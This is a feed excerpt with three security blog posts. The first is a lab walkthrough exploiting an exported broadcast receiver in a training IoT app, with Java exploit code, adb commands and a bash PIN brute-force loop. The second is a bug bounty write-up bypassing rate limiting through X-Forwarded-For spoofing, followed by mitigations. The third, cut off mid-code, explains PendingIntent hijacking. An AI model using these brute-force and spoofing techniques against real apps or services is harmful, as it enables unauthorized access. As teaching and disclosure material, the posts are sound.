            <content:encoded><![CDATA[<p><strong>Akwaaba!</strong> fam, welcome to another topic on my Android pentesting series, here I will explain how I identified and exploited the Broadcast receiver vulnerability in the <a href="https://www.mobilehackinglab.com/course/lab-iot-connect"><strong><em>IoT Connect app</em></strong></a><strong><em>. </em></strong>My previous posts about <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Intent Redirection</strong></a> and <a href="https://medium.com/@tinopreter/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7"><strong>PendingIntent</strong></a> exploit.</p><p>🔗<a href="https://medium.com/@tinopreter/iot-connect-app-insecure-broadcast-receiver-exploit-mobilehackinglab-d90642d56499?source=friends_link&amp;sk=f91a9661f09c53c59a920e33998bf28a"><strong>READ FOR FREE</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*29_woSv0EfJof8PUdFpUSQ.png" /><figcaption>Banner</figcaption></figure><p>Right from the start, we’re informed that the app contains a vulnerability in one of its broadcast receivers. This flaw allows unauthorized users to activate the Master Switch, which controls all connected IoT devices. The app is designed to act as a central hub, letting users toggle devices on or off over a shared network. However, the Master Switch is meant to be restricted to admin users only. The challenge is to exploit this vulnerability by crafting a broadcast that mimics a Master user and triggers the switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*vRIskuDr3ZwXFGFacjwImw.png" /><figcaption><a href="https://www.mobilehackinglab.com/start">MHL Logo</a></figcaption></figure><h4>Getting Familiar with the App</h4><p>Using the app to have a feel: It has a Login interface which includes a <em>Signup</em> button. Upon signing up and logging, it seems all accounts created are of the <em>guest</em> privilege by default. An authenticated user has access to the <strong>Setup</strong> and <strong>Master</strong> <strong>Switch</strong> buttons.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBUF7NaQd3dj9bwHIhrWZw.png" /><figcaption>Screenshot showing various Activity Screens</figcaption></figure><p>Since our account is of <strong><em>guest</em> </strong>privilege, we can’t control all devices available. It is possible to switch the <strong>fan ON/OFF</strong>, but we don’t have same privileges over the <strong>AC</strong> or <strong>Speaker</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OjW1HPlFIukfKL5j-OfCRg.png" /><figcaption>Inability to control the state of ALL devices</figcaption></figure><p>Going to the <strong>Master</strong> <strong>Switch</strong> side, we get asked to enter a 3-digit PIN but upon entering any random digits, we get told the <strong><em>MasterSwitch can’t be controlled by guest</em></strong> accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*U_SYGjpmOkqzlVSop6GusQ.png" /><figcaption>Guest users can’t use the MasterSwitch feature</figcaption></figure><h4>Reviewing the Source Code</h4><p>Now looking at the source code of the APK using <a href="https://github.com/skylot/jadx"><em>Jadx-GUI</em></a>, we see it is made up of <strong>6 Activities</strong> and <strong>1 Broadcast receiver</strong>. Only the last 3 of the Activities are exported but the lone receiver is exported with an Intent-filter of <strong>MASTER_ON</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*X5OCYTrtky_Ido9ZEapBMQ.png" /><figcaption>Jadx-GUI showing APK’s Manifes File</figcaption></figure><p>LoginActivity (exported) is the login screen shown at app launch, while SignupActivity (also exported) is used for the guest account creation. HomeActivity displays the Setup and Master Switch buttons we saw. The code in the HomeActivity shows clicking <strong>Setup </strong>button opens the non-exported IoTNavigationActivity, and clicking Master Switch opens the non-exported MasterSwitchActivity—both receiving the currentUser object as an extra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*7nlM6wvV-pNoAUCNBZg8jg.png" /><figcaption><strong><em>HomeActivity</em></strong> which helps us navigate to <strong><em>IoTNavigation</em> </strong>or <strong>MasterSwitch</strong> Activity</figcaption></figure><p>This is the User object that is passed around as an Intent extra. It is a class that implements the Serializable class and returns the user’s details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*eox4sKMaQgAWBQ-xW7eN9g.png" /><figcaption>User class</figcaption></figure><h4>IoTNavigationActivity</h4><p>The non-exported IoTNavigationActivity receives the incoming Serializable <strong><em>currentUser</em> </strong>extra. It then loads up each IoT devices page in a fragment that we can cycle through without leaving the Activity. <strong>Fragments </strong>allow developers to create reusable UI components that can be displayed within a single activity, eliminating the need to build a separate activity for each screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*OXgdhSbrfB1gaYNw136ebA.png" /><figcaption>IoTNavigation Activity that contains fragments for each device</figcaption></figure><p>To compare device logic, we examine FanFragment and ACFragment. The fan requires no special privileges—when the ON/OFF button is clicked, it reads the current state from SharedPreferences and updates it. In contrast, the AC is restricted to Master accounts, implying additional access control logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*XY0Npm7t7YENcr-dvbc63w.png" /><figcaption>FansFragment shows how it updates the <strong>ON/OFF</strong> state of the fan device</figcaption></figure><p>The <strong>ACFragment</strong> contains an <em>if</em> clause that checks if the currently logged in user is a guest account or not before proceeding. It does so by referencing the <em>isGuest</em> argument located in <em>user </em>object.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*3bnKVOsyDSUj6FeedOs4KA.png" /><figcaption>The ACFragment checks the user’s privileges before updating the device’s state</figcaption></figure><h4>MasterSwitchActivity</h4><p>Clicking the Master Switch in HomeActivity launches the non-exported MasterSwitchActivity, passing along a Serializable user object. If the user isn&#39;t a guest, their entered PIN is converted to an Integer and included in a local broadcast with the action MASTER_ON. Unlike sendBroadcast(), which sends system-wide broadcasts, LocalBroadcastManager.sendBroadcast() restricts the broadcast to within the app.</p><blockquote>Using LocalBroadcastManager.sendBroadcast() within the same app makes exporting the broadcast receiver unnecessary and potentially risky, as it could expose internal components without any benefit.</blockquote><p>Something I realized; attempting to open MasterReceiver from the Androidmanifest.xml fails, suggesting it&#39;s not a standalone class. This likely means it was either dynamically registered in code or was once statically registered, but its class file was deleted without removing the manifest entry. The latter seems more probable to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*r7YmnHJaaeY-jGUJaBPz3g.png" /><figcaption>If user’s not a guest account, a local broadcast is sent with their PIN as an extra</figcaption></figure><h4>Vulnerable Broadcast Receiver</h4><p>Since the user’s PIN is broadcasted internally to the app’s components only, one of them must be expecting this broadcast. In the CommunicationsManager activity, a broadcast receiver is dynamically registered with the MASTER_ON intent filter, similar to the one referenced in the manifest. This is our receiver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*wz9fy61UAVNn4KZb03WDlw.png" /><figcaption>Dynamic Registration of the Broadcast Receiver</figcaption></figure><p>The broadcast receiver listens for incoming broadcasts, checks the intent’s action, and extracts the PIN from the extras. It then validates the PIN by passing it to the check_key() method from the Checker class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*odYs64BBc4DaTVbWdPNwKw.png" /><figcaption>Receiver’s logic to execute upon receipt of a broadcast</figcaption></figure><p>The Checker.check_key() method contains a hardcoded AES-encrypted Base64 string. When a PIN is received, both the encrypted string and the input PIN are passed to a decrypt() method. If the decrypted result of both values matches the string &quot;master_on&quot;, the PIN is considered valid. This means the logic relies on comparing the decrypted form of a known encrypted value with that of the user-provided PIN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*oHWldgraknNxUks64MlRpg.png" /><figcaption>Logic to check if MasterSwitch PIN is correct</figcaption></figure><h4>Crafting a Java Exploit App in Android Studio</h4><p>We already have the encrypted string, the method to decrypt it, and the correct result we’re looking for (“<strong>master_on</strong>”). What’s missing is the 3-digit PIN. To find it, we can try every number from 000 to 999. We copy the app’s decryption method into our own exploit app, then add a loop to test each PIN until we find the one that works.</p><blockquote>You can find the exploit code and exploit APK on my <a href="https://github.com/tinopreter/IoTConnectExploitApp"><strong>Github here</strong></a></blockquote><pre>public class MainActivity extends AppCompatActivity {<br>@Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br>        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);<br>        <br>        //Exploit on Button Click<br>        btn_exploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                Log.i(&quot;ExploitBtn&quot;, &quot;Exploit Button Clicked!&quot;);<br>                 <br>                //looping through 000 to 999<br>                for(int i=0; i&lt;=999; i++){<br>                    String key = String.format(&quot;%03d&quot;, i); //format 1 as 001<br>                    try {<br>                        SecretKeySpec secretKeySpec = generateKey(Integer.parseInt(key));<br>                        String decrypted = decrypt(&quot;OSnaALIWUkpOziVAMycaZQ==&quot;, Integer.parseInt(key));<br>                        if (&quot;master_on&quot;.equals(decrypted)){<br>                            Log.i(&quot;MatchFound&quot;, &quot;Key: &quot; + key + &quot; -- Decrypted: &quot; + decrypted);<br>                            Toast.makeText(MainActivity.this, &quot;Key: &quot; + key + &quot; -- Decrypted: &quot; + decrypted, Toast.LENGTH_SHORT).show();<br>                            break;<br>                        }<br>                    } catch (Exception e){<br>                        e.printStackTrace();<br>                    }<br>                }<br>            }<br>        });<br>    }<br>    //decrypt function<br>    public final String decrypt(String ds2, int key) throws InvalidKeyException,<br>            IllegalBlockSizeException, BadPaddingException, NoSuchPaddingException,<br>            NoSuchAlgorithmException {<br>        SecretKeySpec secretKey = generateKey(key);<br>        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);<br>        cipher.init(2, secretKey);<br>        if (Build.VERSION.SDK_INT &gt;= 26) {<br>            byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));<br>            return new String(decryptedBytes, Charsets.UTF_8);<br>        }<br>        throw new UnsupportedOperationException(&quot;VERSION.SDK_INT &lt; O&quot;);<br>    }<br>    //key generator for the decrypt function<br>    private final SecretKeySpec generateKey(int staticKey) {<br>        byte[] keyBytes = new byte[16];<br>        byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);<br>        System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));<br>        return new SecretKeySpec(keyBytes, &quot;AES&quot;);<br>    }<br>}</pre><p>We will run this code and upon a few seconds, we see in both Logcat and in our Exploit app that the PIN has been cracked, and correct value is <strong>345</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jV_A-WAa2h62iLYfIORAPg.png" /><figcaption>Brute Forcing the PIN</figcaption></figure><p>Finding the correct PIN isn’t enough. If your account is still a guest, entering the PIN won’t work because the app checks user.isGuest(). If that returns true, the code that sends the broadcast won’t run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6Gd0M8ZLC8BO_9nPj4Sow.png" /><figcaption>Guest user just can’t use the Master Switch feature</figcaption></figure><p>We can further modify our exploit app’s code to go ahead and send a broadcast after successfully bruteforcing the PIN.</p><blockquote>You can find the exploit code and exploit APK on my <a href="https://github.com/tinopreter/IoTConnectExploitApp"><strong>Github here</strong></a></blockquote><pre>public class MainActivity extends AppCompatActivity {<br>@Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br>        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);<br>        <br>        //Brute Force PIN and send broadcast<br>        btn_exploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                Log.i(&quot;ExploitBtn&quot;, &quot;Exploit Button Clicked!&quot;);<br>                for(int i=0; i&lt;=999; i++){<br>                    String key = String.format(&quot;%03d&quot;, i); //format 1 as 001<br>                    try {<br>                        SecretKeySpec secretKeySpec = generateKey(Integer.parseInt(key));<br>                        String decrypted = decrypt(&quot;OSnaALIWUkpOziVAMycaZQ==&quot;, Integer.parseInt(key));<br>                        if (&quot;master_on&quot;.equals(decrypted)){<br>                            Log.i(&quot;MatchFound&quot;, &quot;Key: &quot; + key + &quot; -- Decrypted: &quot; + decrypted);<br>                            Toast.makeText(MainActivity.this, &quot;Key: &quot; + key + &quot; -- Decrypted: &quot; + decrypted, Toast.LENGTH_SHORT).show();<br>                            <br>                            //Send Broadcast with the found PIN<br>                            Intent intent = new Intent(&quot;MASTER_ON&quot;);<br>                            intent.putExtra(&quot;key&quot;, Integer.parseInt(key));<br>                            sendBroadcast(intent);<br>                            Log.i(&quot;Broadcast&quot;, &quot;Broadcast Sent with PIN: &quot; + key);<br>                            Toast.makeText(MainActivity.this, &quot;Broadcast Sent with PIN: &quot; + key, Toast.LENGTH_SHORT).show();<br>                            break;<br>                        }<br>                    } catch (Exception e){<br>                    }<br>                }<br>            }<br>        });<br>    }<br><br>    //decrypt function<br>    public final String decrypt(String ds2, int key) throws InvalidKeyException,<br>            IllegalBlockSizeException, BadPaddingException, NoSuchPaddingException,<br>            NoSuchAlgorithmException {<br>        SecretKeySpec secretKey = generateKey(key);<br>        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);<br>        cipher.init(2, secretKey);<br>        if (Build.VERSION.SDK_INT &gt;= 26) {<br>            byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));<br>            return new String(decryptedBytes, Charsets.UTF_8);<br>        }<br>        throw new UnsupportedOperationException(&quot;VERSION.SDK_INT &lt; O&quot;);<br>    }<br><br>    //key generator for decrypt function<br>    private final SecretKeySpec generateKey(int staticKey) {<br>        byte[] keyBytes = new byte[16];<br>        byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);<br>        System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));<br>        return new SecretKeySpec(keyBytes, &quot;AES&quot;);<br>    }<br>}</pre><p>Run that and we see succeed in our exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Llk-MegdOXyNRrLt2xNxVQ.png" /></figure><p>Upon doing so, we go back to the device list, and we see all are turned ON.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkA66EPWNJ6pAcSWWIogmw.png" /><figcaption>All devices turned ON</figcaption></figure><p>Same for the remaining two devices</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*TTPZ7sgbQgx_dgaWw-7gzw.png" /><figcaption>All devices turned ON</figcaption></figure><h4>Exploiting with ADB Command Line Tool</h4><p>You can also trigger this behavior using ADB Shell by sending a broadcast with the required key extra. If the PIN is incorrect, the IoT app responds with a floating “Wrong PIN” message. To test this from the command line, you can use the following ADB command:</p><pre>adb shell am broadcast -a MASTER_ON --ei key 123 -W</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*hhTy-pJmxqOEtJPx0OJjrg.png" /><figcaption>Using ADB tool to</figcaption></figure><p>Since ADB is a command-line tool, we can automate the process by wrapping the broadcast command in a simple Bash script that loops through all possible PIN values. This allows us to test multiple inputs efficiently.</p><pre>#!/bin/bash<br>for pin in {000..999};do<br>    echo &quot;Trying with PIN: $pin&quot;<br>    adb shell am broadcast -a MASTER_ON --ei key $pin 1&gt;/dev/null<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*2LhK2FAIJ1IY0JfS327nPg.png" /><figcaption>bash script to automate the PIN brute force</figcaption></figure><p>Run the script and pay attention to ADB logcat, when <strong>345</strong> is tried, we should see the <em>Turning all devices</em> on message. Similar message is reflected in the app also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*h9G1ICzlmO_fjMPBybecUA.png" /><figcaption>PIN brute forced successfully to switch ON all devices</figcaption></figure><h4>Video Poc</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*mrP0Srj7aVG_S74WNL88tw.gif" /><figcaption>Exploit App in Action GIF</figcaption></figure><p>This challenge, I enjoyed a lot tbh. The exploit code and exploit APK can be found on my <a href="https://github.com/tinopreter/IoTConnectExploitApp"><strong>Github here</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6JQowt3T8pOVvo5I6nzCg.png" /><figcaption>Certificate of Completion</figcaption></figure><p><em>Hi… </em>see you later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*RXVlsdtEm8by41L3.gif" /></figure><p>Thanks for reading this, if you have any questions, you can DM me on Twitter<em> @</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter"><strong>Clement Osei-Somuah</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d90642d56499" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/iot-connect-app-insecure-broadcast-receiver-exploit-mobilehackinglab-d90642d56499">IoT Connect App Insecure Broadcast Receiver Exploit | MobileHackingLab</a> was originally published in <a href="https://osintteam.blog">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From 429 to 200: From Bypass to Bounty using X-Overwriting Headers]]></title>
            <link>https://infosecwriteups.com/from-429-to-200-from-bypass-to-bounty-using-x-overwriting-headers-e3a819d453a6?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3a819d453a6</guid>
            <category><![CDATA[rate-limiting]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[x-forwarded-for]]></category>
            <category><![CDATA[rate-limit-bypass]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 17:25:29 GMT</pubDate>
            <atom:updated>2025-07-29T07:53:20.355Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba! </em></strong>gang. In this report, I will show you how I was able to bypass an organization’s Rate Limiting they implemented in haste. Check out my previous post about <a href="https://medium.com/bugbountywriteup/when-i-bypassed-google-captcha-the-epic-exploit-of-post-based-xss-csrf-1fb66f7cf886"><strong>How I bypassed Google CAPTCHA to chain a CSRF &amp; XSS</strong></a><strong>. </strong>If you’re into Mobile App pentesting, check out my post on<strong> </strong><a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Android Intent Redirection Attack</strong></a><strong>.</strong></p><p>🔗<a href="https://medium.com/@tinopreter/e3a819d453a6?source=friends_link&amp;sk=956c93695c06b2325671106308ab7fa0">READ FOR FREE</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*827mepca8bVQZeMA87YJxQ.png" /><figcaption>Banner</figcaption></figure><h4>Rate Limiting</h4><p><em>Rate Limiting</em> is a technique used by application developers to control the number of requests a user or a system can make within a specific time frame. In API’s, the standard response status code for Rate Limiting is <strong>429 Too many Requests </strong>but most developers choose to deviate from this. There are many ways developers can implement rate limiting, common ones are:</p><ul><li>IP address-based rate limiting</li><li>Email-based rate limiting</li><li>Device or Session-Based rate limiting</li><li>Geo-Based rate limiting</li><li>Endpoint-specific rate limiting, etc.</li></ul><p>We have all come across something like this before, especially when we forget the password to our account. Most applications are forgiving, so they would usually ask you to cool down and try again later after repeated invalid logins. Take Microsoft for instance, would give you a cool off period to try again later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*0LiO2iVENakuDJ3l.png" /><figcaption>Rate Limiting on Microsoft</figcaption></figure><p>However, not all apps are like that. Snapchat for instance will temporarily disable your account if you commit too many invalid login attempts within a specific time frame.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wOt1MfB2o2JJtpAk.jpg" /><figcaption>Snapchat Rate Limiting leads to account Lockout</figcaption></figure><h4>The Discovery</h4><p>Sometime ago, I was hacking a program on <a href="https://hackerone.com/">HackerOne</a> when I identified the lack of rate limiting on a feature in their application. Their remediation team responded well to this and quickly implemented a fix. I decided to check out the new implementation; let’s say I’m reviewing the login endpoint for instance:</p><p>Upon 5 invalid login attempts, it responds with the standard <strong>429 </strong>status code. In the response payload, along the message, there is an introduction of the <strong>ip</strong> parameter that shows your public IP address. This made me suspect they are counting my login attempts based on my IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*f5S_XuB_sFB6Q2owuS6hZw.png" /><figcaption>IP-Based Rate Limiting</figcaption></figure><blockquote>Allow me to shamelessly plug my other article here: Read about how I abused an <a href="https://infosecwriteups.com/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7"><strong>Improperly configured PendingIntent </strong></a>in an Android app’s notification to read a victim’s contact info.</blockquote><h4>The Exploit</h4><p>To circumvent IP-based rate limiting, there are many methods as a hacker, you can try. The most obvious choice is to use a VPN, when one IP address gets rate limited, you simply switch to another. But this isn’t feasible when you have a big list of passwords you want to brute force through, you can’t just keep switching IPs manually and it will require complex scripting to get your VPN provider’s client to automate this for you. The next choice was to try out the X-Overwriting headers.</p><h4>X-Overwriting Headers</h4><p>X-Overwriting headers refer to a class of <em>non-standard</em> HTTP headers that can be used to override or manipulate the behavior of web servers or applications, often in unintended or insecure ways. Some common examples are:</p><ul><li>X-HTTP-Method-Override:Allows us to override the HTTP method</li><li>X-Original-URL / X-Rewrite-URL:Used in URL rewriting</li><li>X-Forwarded-For: Indicates the original IP address of a client (us) connecting through a proxy</li><li>X-Real-IP: Another way to pass the client’s IP address.</li></ul><p>As you suspect already, there are a number overriding headers that can help us pass our IP address to the application’s server.</p><h4>The Actual Bypass</h4><p>So, I began testing with some of the client IP address overriding headers. First one I tried was the X-Forwarded-For header. I passed my localhost IP to this header. What I’m telling the application’s server is, <strong>127.0.0.1</strong>is my original IP address so should this request pass through any proxy(s) before getting to you, don’t mistake the proxy’s IP addresses as where the request originated from. It came from this <strong>127.0.0.1</strong> IP address instead. I sent that and instead of seeing the <strong>429 </strong>status code, I get a <strong>401 </strong>instead. And in the payload, I can see the spoofed localhost appearing alongside my public IP. Also, we have 5 total login attempts now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*56yZ3VtR4cg9ZIRZy3MwwA.png" /><figcaption>Rate Limiting Bypassed</figcaption></figure><p>Remember every IP address is limited to 5 login attempts before they get rate limited. So, to circumvent this to successfully automate this to carry out a brute force attack, let’s send this to Burp suite’s <strong>Intruder</strong>. Configuration explanation:</p><ol><li>With <strong>Sniper Attack</strong>, add a payload position to one of the numbers in the IP address’ octet.</li><li>Use the <strong>Numbers </strong>payload type.</li><li>We want to iterate through 1 to 500 brute force requests (can be more).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*eUYkmQ_kzjm-wpox9onqCw.png" /><figcaption>Intruder Configuration</figcaption></figure><p>Run that and each request is sent with a different original IP address with the help of the X-Forwarded-For header. Looking at the X-RateLimit-Limit counter, we see each IP runs once and has 4 more requests left. But that doesn’t matter, our automation moves on the next IP. Since this application even permits invalid IP addresses of octets more than 255, and the numerical values are infinite, we can run an endless brute force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bmo2_McuiRlF98O2yAkkBg.png" /><figcaption>Rate Limited + Brute Force achieved</figcaption></figure><h4>Mitigation</h4><p>For IP-based rate limiting:</p><ul><li>If requests to your application are going to come through a proxy, configure your application or web server to only trust X-Forwarded-For headers from known, internal proxies (e.g., NGINX, Cloudflare) else <strong>ignore the header</strong>.</li><li>Use the IP address from the network layer (e.g., REMOTE_ADDR) instead of trusting headers.</li><li>Use a reverse proxy or WAF (e.g., Cloudflare, AWS WAF, NGINX) to enforce rate limits before the request reaches your app.</li></ul><p>Hey <em>you</em>, …<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*CyHME8MISPWfXlLD.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on Twitter<em> @</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3a819d453a6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-429-to-200-from-bypass-to-bounty-using-x-overwriting-headers-e3a819d453a6">From 429 to 200: From Bypass to Bounty using X-Overwriting Headers</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Notification Hijack: How PendingIntent Can Be Exploited]]></title>
            <link>https://medium.com/@tinopreter/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/547b0892b7f7</guid>
            <category><![CDATA[mobile-app-security]]></category>
            <category><![CDATA[pendingintent]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[notifications]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 11:23:17 GMT</pubDate>
            <atom:updated>2025-08-07T07:45:51.735Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking Android Notifications: PendingIntent Exploit</h3><p><strong><em>Akwaaba!</em> </strong>pentesters. This is another piece on Static Analysis of an Android app to identify and exploit a PendingIntent vulnerability. If you haven’t already, then check out my other article about how to exploit an <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Intent Redirection</strong></a> in Android app to read internal files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*PD3jM1uzd6N5t7D7JNqBjw.png" /><figcaption>Banner</figcaption></figure><h3>Intent</h3><p>In my <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><em>previous post</em></a><em> </em>I already explained what an intent is and went into more details. To recap, an <em>Intent </em>is a messaging object in Android used to request an action from another app component — like opening a screen or starting a service.</p><p>Have you ever received a notification, ignored it for a while, and then tapped on it hours later — only to be taken directly to a specific screen within the app? It feels seamless, almost like magic. But behind the scenes, it’s all thanks to a powerful Android feature called <strong>PendingIntent</strong>.</p><p><em>PendingIntents</em> act as a kind of “deferred action” that the Android system holds onto. When you eventually interact with the notification, Android uses the PendingIntent to know exactly where in the app to take you — even if the app wasn’t running in the background. It’s a clever mechanism that ensures a smooth and context-aware user experience.</p><h3>PendingIntent</h3><p><strong>Pending intent</strong> is a wrapper around an intent that grants permissions to another application/component to execute the intent on our behalf even if our application is not running. They allow us to pass an intent to another application or component to be executed at a later time in our name. The system holds the PendingIntent and executes it on your app’s behalf when the user interacts with the notification.</p><p>Some components where Pending Intents are used:</p><ol><li><strong>Notifications: </strong>Used to define what happens when a user taps a notification or interacts with its action buttons. Example: Open an activity, trigger a broadcast, or control media playback.</li><li><strong>Alarms</strong> (AlarmManager): Used to schedule tasks to run at a specific time, even if the app is not running. Example: Trigger a broadcast or service to sync data every morning.</li><li><strong>Widgets: </strong>Used to handle user interactions with widgets (e.g., button clicks). Example: A weather widget that opens the app or refreshes data.</li><li><strong>MediaSession: </strong>Used to handle media controls from the lock screen or external devices. Example: Play, pause, skip actions for a music app.</li></ol><p>In this post, we’ll dive into how PendingIntents work in Android <strong>notifications </strong>— and explore the potential risks that come with misconfigured implementations.</p><h3>PendingIntent in NotificationBuilder</h3><p>NotificationBuilder is used to construct notifications—setting the title, message, buttons, and images. While some notifications are purely informational, others require user interaction. That’s where PendingIntent comes in: it defines what should happen when the user taps the notification, like opening a specific screen in your app.</p><p>In the code snippet below, we start by creating an explicit Intent to launch TargetActivity. This intent is then wrapped in a PendingIntent, which we pass to setContentIntent() in the NotificationBuilder. When creating a PendingIntent, the flag you choose determines whether it can be modified:</p><ul><li>FLAG_MUTABLE (33554432): Allows the intent’s data or extras to be changed before it&#39;s executed.</li><li>FLAG_IMMUTABLE (67108864): Locks the intent, ensuring it can&#39;t be altered—recommended for better security.</li><li>0: means no special behavior—but it also means the PendingIntent is mutable by default, which can be a security risk on Android 12+.</li></ul><p>Using an explicit intent—where the target activity is clearly defined—is the recommended approach, ensuring the system knows exactly where to navigate when the notification is tapped.</p><pre>//an Explicit intent to be wrapped in a PendingIntent<br>Intent TargetIntent = new Intent(this, TargetActivity.class);<br>Targetintent.putExtra(&quot;auth_token&quot;, &quot;secret123&quot;);<br>Targetintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);<br><br>// Create the PendingIntent<br>PendingIntent pendingIntent = PendingIntent.getActivity(<br>    context,<br>    0,<br>    Targetintent, //the intent being wrapped as a Pending Intent<br>    0 //no special behaviour means FLAG_MUTABLE<br>);<br><br>// Build the Notification<br>NotificationCompat.Builder builder = new NotificationCompat.Builder(context, CHANNEL_ID)<br>    .setSmallIcon(R.drawable.ic_notification)<br>    .setContentTitle(&quot;Hello!&quot;)<br>    .setContentText(&quot;Tap to open the app.&quot;)<br>    .setPriority(NotificationCompat.PRIORITY_DEFAULT)<br>    .setContentIntent(pendingIntent) //attach pending intent<br>    .setAutoCancel(true); //notif disappear after being tapped<br><br>// Show the notification<br>NotificationManagerCompat notificationManager = NotificationManagerCompat.from(context);<br>notificationManager.notify(1001, builder.build());</pre><h3>The Risk of Using Implicit Intents in PendingIntents</h3><p>In the code below, using an implicit intent — one that doesn’t specify a target activity — can introduce a serious vulnerability. If sensitive data is included, a malicious app could intercept, modify, and forward the intent to the Android system, executing it as if it came from your app. This is known as a PendingIntenthijacking attack, and it can lead to privilege escalation or data leaks.</p><pre>//an Implicit intent to be wrapped in a PendingIntent<br>Intent Targetintent= new Intent(&quot;com.some.ACTION&quot;);  //no Target Activity specified<br>Targetintent.putExtra(&quot;auth_token&quot;, &quot;secret123&quot;);<br>Targetintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | 